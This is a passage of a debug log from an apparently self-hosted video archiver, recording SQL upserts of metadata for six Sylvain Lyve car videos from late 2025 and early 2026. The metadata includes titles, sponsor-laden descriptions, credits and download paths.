("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["NordVPN vous souhaite une bonne année : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n-------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n\nMontage : Hugo Cuocolo\nMontage sponso : Robin Danos\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PURETECH #BONNEANNEE #BONCOURAGE", "VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue )", "5a7daf60-a87a-4841-87ed-badd0680e619", "OB3hFv2vOQo", 1965, false, "https://www.youtube.com/watch?v=OB3hFv2vOQo", 15, "/downloads/Sylvain Lyve/2026-01-08 VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue )/VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue ) [OB3hFv2vOQo].mkv", false, false, false, 2, [], 98, ~U[2026-01-08 17:15:05Z], ~U[2026-04-19 05:39:24Z], ~U[2026-04-19 05:39:24Z], "NordVPN vous souhaite une bonne année : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n-------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n\nMontage : Hugo Cuocolo\nMontage sponso : Robin Danos\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PURETECH #BONNEANNEE #BONCOURAGE", "VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue )", "OB3hFv2vOQo", 1965, false, "https://www.youtube.com/watch?v=OB3hFv2vOQo", "/downloads/Sylvain Lyve/2026-01-08 VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue )/VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue ) [OB3hFv2vOQo].mkv", false, 2, ~U[2026-01-08 17:15:05Z]] 07:39:24.265 [debug] QUERY OK source="sources" db=0.9ms idle=13.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:24.267 [debug] QUERY OK source="media_items" db=1.2ms idle=11.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-18 17:15:00Z], 2] 07:39:24.271 [debug] QUERY OK source="media_items" db=2.2ms idle=12.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un grand merci à NordVPN pour leur soutien : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n-------------------------------------------\nUn grand merci : \n\nAu Centre de lavage Éléphant Bleu de RAMBOUILLET\n( Pour des raisons de sécurité il est interdit de rester dans son véhicule pendant le lavage aux rouleaux )\n\nÀ l'autodrome UTAC Linas Monthléry pour leur accueil, et en particulier Nourhène pour son aide exceptionnelle\n\nÀ Charles et Grégoire pour toutes les conneries de Sylvain rattrapées ( oups )\n\nÀ Lucas Martin pour son idée originale et stupide \n\nEt à Arthur et Joseph de la Fabrique Auto qui ont accepté de souffrir pour ce défi 24 heures\n\nProduction : Anaelle Le Magorou et Heloyse Perfetti\nImage ( et idée de merde ) : Lucas Martin\nSon : Alan Poirier\nDrone : Cédric Nussli\nMontage : Hugo Cuocolo, Thibault Iacolare, Pablo Kerlogot\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n----------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#24HEURES #FLEMME #JOYEUXNOEL", "24 HEURES POUR FABRIQUER UNE VOITURE", "e4adbb4c-eb85-462e-8573-1a54fc90b354", "4kEtEQcb0ws", 5577, false, "https://www.youtube.com/watch?v=4kEtEQcb0ws", 16, "/downloads/Sylvain Lyve/2025-12-18 24 HEURES POUR FABRIQUER UNE VOITURE/24 HEURES POUR FABRIQUER UNE VOITURE [4kEtEQcb0ws].mkv", false, false, false, 2, [], 98, ~U[2025-12-18 17:15:00Z], ~U[2026-04-19 05:39:24Z], ~U[2026-04-19 05:39:24Z], "Un grand merci à NordVPN pour leur soutien : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n-------------------------------------------\nUn grand merci : \n\nAu Centre de lavage Éléphant Bleu de RAMBOUILLET\n( Pour des raisons de sécurité il est interdit de rester dans son véhicule pendant le lavage aux rouleaux )\n\nÀ l'autodrome UTAC Linas Monthléry pour leur accueil, et en particulier Nourhène pour son aide exceptionnelle\n\nÀ Charles et Grégoire pour toutes les conneries de Sylvain rattrapées ( oups )\n\nÀ Lucas Martin pour son idée originale et stupide \n\nEt à Arthur et Joseph de la Fabrique Auto qui ont accepté de souffrir pour ce défi 24 heures\n\nProduction : Anaelle Le Magorou et Heloyse Perfetti\nImage ( et idée de merde ) : Lucas Martin\nSon : Alan Poirier\nDrone : Cédric Nussli\nMontage : Hugo Cuocolo, Thibault Iacolare, Pablo Kerlogot\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n----------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#24HEURES #FLEMME #JOYEUXNOEL", "24 HEURES POUR FABRIQUER UNE VOITURE", "4kEtEQcb0ws", 5577, false, "https://www.youtube.com/watch?v=4kEtEQcb0ws", "/downloads/Sylvain Lyve/2025-12-18 24 HEURES POUR FABRIQUER UNE VOITURE/24 HEURES POUR FABRIQUER UNE VOITURE [4kEtEQcb0ws].mkv", false, 2, ~U[2025-12-18 17:15:00Z]] 07:39:24.273 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=12.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:24.275 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=9.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-11 17:15:01Z], 2] 07:39:24.279 [debug] QUERY OK source="media_items" db=2.7ms idle=9.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n-------------------------------\n\nUn grand merci à Joffrey pour le contact et l'accès à la voiture\nInstagram : https://www.instagram.com/jlmracing06/\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage vidéo : Lucas Aubert et Thibault Iacolare\nMontage sponso : Romain Desveaux\nProduction : Anaelle Le Magorou\nImage au sol : Lucas Martin\nImages aériennes : Alex Bouton\nIngénieur son : Alan Poirier\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PORSCHE #RS #PETARD", "Porsche Cayman GT4 RS : LE DERNIER PÉTARD", "51e428fe-2cb9-4fc8-9a31-038ef7ae6fb7", "BP5SQF4FJA8", 1144, false, "https://www.youtube.com/watch?v=BP5SQF4FJA8", 17, "/downloads/Sylvain Lyve/2025-12-11 Porsche Cayman GT4 RS : LE DERNIER PÉTARD/Porsche Cayman GT4 RS : LE DERNIER PÉTARD [BP5SQF4FJA8].mkv", false, false, false, 2, [], 98, ~U[2025-12-11 17:15:01Z], ~U[2026-04-19 05:39:24Z], ~U[2026-04-19 05:39:24Z], "Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n-------------------------------\n\nUn grand merci à Joffrey pour le contact et l'accès à la voiture\nInstagram : https://www.instagram.com/jlmracing06/\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage vidéo : Lucas Aubert et Thibault Iacolare\nMontage sponso : Romain Desveaux\nProduction : Anaelle Le Magorou\nImage au sol : Lucas Martin\nImages aériennes : Alex Bouton\nIngénieur son : Alan Poirier\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PORSCHE #RS #PETARD", "Porsche Cayman GT4 RS : LE DERNIER PÉTARD", "BP5SQF4FJA8", 1144, false, "https://www.youtube.com/watch?v=BP5SQF4FJA8", "/downloads/Sylvain Lyve/2025-12-11 Porsche Cayman GT4 RS : LE DERNIER PÉTARD/Porsche Cayman GT4 RS : LE DERNIER PÉTARD [BP5SQF4FJA8].mkv", false, 2, ~U[2025-12-11 17:15:01Z]] 07:39:24.283 [debug] QUERY OK source="sources" db=3.5ms queue=0.1ms idle=12.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:24.286 [debug] QUERY OK source="media_items" db=1.9ms queue=0.3ms idle=13.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-04 17:15:03Z], 2] 07:39:24.289 [debug] QUERY OK source="media_items" db=2.7ms idle=13.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Téléchargez REVOLUT gratuitement avec le lien 👉 https://get.revolut.com/z4lF/Sylvain pour débloquer les 20 € et participer au tirage au sort pour gagner 10 000 € (voir conditions générales)\nCollaboration commerciale\n\n--------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Hugo Cuocolo et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#VOITUREDANGEREUSES #CARRERAGT #CRASH", "VTECH : Les voitures les PLUS DANGEREUSES ( encore )", "98cc4b61-e670-4fba-9dd2-2bd27ae758fc", "Bvs2H0Krn3Y", 1590, false, "https://www.youtube.com/watch?v=Bvs2H0Krn3Y", 18, "/downloads/Sylvain Lyve/2025-12-04 VTECH : Les voitures les PLUS DANGEREUSES ( encore )/VTECH : Les voitures les PLUS DANGEREUSES ( encore ) [Bvs2H0Krn3Y].mkv", false, false, false, 2, [], 98, ~U[2025-12-04 17:15:03Z], ~U[2026-04-19 05:39:24Z], ~U[2026-04-19 05:39:24Z], "Téléchargez REVOLUT gratuitement avec le lien 👉 https://get.revolut.com/z4lF/Sylvain pour débloquer les 20 € et participer au tirage au sort pour gagner 10 000 € (voir conditions générales)\nCollaboration commerciale\n\n--------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Hugo Cuocolo et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#VOITUREDANGEREUSES #CARRERAGT #CRASH", "VTECH : Les voitures les PLUS DANGEREUSES ( encore )", "Bvs2H0Krn3Y", 1590, false, "https://www.youtube.com/watch?v=Bvs2H0Krn3Y", "/downloads/Sylvain Lyve/2025-12-04 VTECH : Les voitures les PLUS DANGEREUSES ( encore )/VTECH : Les voitures les PLUS DANGEREUSES ( encore ) [Bvs2H0Krn3Y].mkv", false, 2, ~U[2025-12-04 17:15:03Z]] 07:39:24.290 [debug] QUERY OK source="sources" db=0.6ms idle=14.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:24.292 [debug] QUERY OK source="media_items" db=1.0ms queue=0.3ms idle=12.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-27 17:15:01Z], 2] 07:39:24.307 [debug] QUERY OK source="media_items" db=13.8ms idle=9.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Le lien 👉 https://displate.com/l/sylvainlyve ( la réduction s’applique automatiquement ) ou avec le code SYLVAINLYVE obtenez la plus grosse réduction de l'année dès maintenant sur le site Displate. \n\nPROMOTIONS BLACK FRIDAY*\n1-2 Displates -37%\n3-4 Displates -43%\n5 et plus -46%\nValide sur Textra\n\n*Non valide sur les Éditions Limitées\nCollaboration commerciale \n\n---------------------------------------------------\n\nUn grand merci à la Communauté de Commune du Vexin Normand, la piscine d'Etrépagny notamment Alexandre, Didier, Stéphane, Tania, Bertrand et Pascal pour leur accueil\n\nMerci à l'entreprise Terrem Travaux Publics pour le support logistique, et en particulier Loïc, pour son pilotage de grue exceptionnel\nLe site : https://www.terrem.fr/\n\nEt merci à Arthur et Joseph de la Fabrique Auto pour leurs techniques sous-marines\nInstagram : https://www.instagram.com/lafabriqueauto/\n\nProduction : Anaelle Le Magorou et Héloyse Perfetti\nImage : Lucas Martin\nSon : Alan Poirier\nMontage : Lucas Aubert et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n---------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PISCINE #JAMESBOND #PECHEALASTRA", "Faire flotter une voiture avec des ballons : C'EST POSSIBLE ?", "b2269195-0d19-47af-a98c-64fa857f301f", "AWYXijQpxc0", 2854, false, "https://www.youtube.com/watch?v=AWYXijQpxc0", 19, "/downloads/Sylvain Lyve/2025-11-27 Faire flotter une voiture avec des ballons : C'EST POSSIBLE ?/Faire flotter une voiture avec des ballons : C'EST POSSIBLE ? [AWYXijQpxc0].mkv", false, false, false, 2, [], 98, ~U[2025-11-27 17:15:01Z], ~U[2026-04-19 05:39:24Z], ~U[2026-04-19 05:39:24Z], "Le lien 👉 https://displate.com/l/sylvainlyve ( la réduction s’applique automatiquement ) ou avec le code SYLVAINLYVE obtenez la plus grosse réduction de l'année dès maintenant sur le site Displate. \n\nPROMOTIONS BLACK FRIDAY*\n1-2 Displates -37%\n3-4 Displates -43%\n5 et plus -46%\nValide sur Textra\n\n*Non valide sur les Éditions Limitées\nCollaboration commerciale \n\n---------------------------------------------------\n\nUn grand merci à la Communauté de Commune du Vexin Normand, la piscine d'Etrépagny notamment Alexandre, Didier, Stéphane, Tania, Bertrand et Pascal pour leur accueil\n\nMerci à l'entreprise Terrem Travaux Publics pour le support logistique, et en particulier Loïc, pour son pilotage de grue exceptionnel\nLe site : https://www.terrem.fr/\n\nEt merci à Arthur et Joseph de la Fabrique Auto pour leurs techniques sous-marines\nInstagram : https://www.instagram.com/lafabriqueauto/\n\nProduction : Anaelle Le Magorou et Héloyse Perfetti\nImage : Lucas Martin\nSon : Alan Poirier\nMontage : Lucas Aubert et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n---------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PISCINE #JAMESBOND #PECHEALASTRA", "Faire flotter une voiture avec des ballons : C'EST POSSIBLE ?", "AWYXijQpxc0", 2854, false, "https://www.youtube.com/watch?v=AWYXijQpxc0", "/downloads/Sylvain Lyve/2025-11-27 Faire flotter une voiture avec des ballons : C'EST POSSIBLE ?/Faire flotter une voiture avec des ballons : C'EST POSSIBLE ? [AWYXijQpxc0].mkv", false, 2, ~U[2025-11-27 17:15:01Z]] 07:39:24.309 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=22.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:24.311 [debug] QUERY OK source="media_items" db=1.1ms queue=0.4ms idle=20.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-20 17:15:01Z], 2] 07:39:24.316 [debug] QUERY OK source="media_items" db=3.7ms idle=20.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\nMerci à l'Anneau du Rhin pour leur accueil, comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nMerci à Regis, société STRO, pour le prêt du camion et ses grosses sangles \nMerci à William pour le prêt de la 350Z, sa gentillesse et sa disponibilité \n\n---------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Lukasz Sledziewski et Thibault Iacolare\nMontage sponso : Romain Desveaux\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou et Heloyse Perfetti\nSinge passager : Joseph\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#BOULARD #PETAGEDEBOULON #PERFECTION", "Volkswagen PHAETON W12 : L'invincible ( elle peut même tracter un camion )", "25ee2929-130b-4da3-a5a2-8e7e7388ebb3", "GYmFjApmiP0", 1265, false, "https://www.youtube.com/watch?v=GYmFjApmiP0", 20, "/downloads/Sylvain Lyve/2025-11-20 Volkswagen PHAETON W12 : L'invincible ( elle peut même tracter un camion )/Volkswagen PHAETON W12 : L'invincible ( elle peut même tracter un camion ) [GYmFjApmiP0].mkv", false, false, false, 2, [], 98, ~U[2025-11-20 17:15:01Z], ~U[2026-04-19 05:39:24Z], ~U[2026-04-19 05:39:24Z], "Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\nMerci à l'Anneau du Rhin pour leur accueil, comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nMerci à Regis, société STRO, pour le prêt du camion et ses grosses sangles \nMerci à William pour le prêt de la 350Z, sa gentillesse et sa disponibilité \n\n---------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Lukasz Sledziewski et Thibault Iacolare\nMontage sponso : Romain Desveaux\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou et Heloyse Perfetti\nSinge passager : Joseph\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#BOULARD #PETAGEDEBOULON #PERFECTION", "Volkswagen PHAETON W12 : L'invincible ( elle peut même tracter un camion )", "GYmFjApmiP0", 1265, false, "https://www.youtube.com/watch?v=GYmFjApmiP0", "/downloads/Sylvain Lyve/2025-11-20 Volkswagen PHAETON W12 : L'invincible ( elle peut même tracter un camion )/Volkswagen PHAETON W12 : L'invincible ( elle peut même tracter un camion ) [GYmFjApmiP0].mkv", false, 2, ~U[2025-11-20 17:15:01Z]] 07:39:24.317 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=23.8ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-04-19 05:39:24Z], ~U[2026-04-19 05:39:24Z], 2] 07:39:24.320 [debug] QUERY OK source="media_items" db=2.2ms queue=0.2ms idle=10.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", 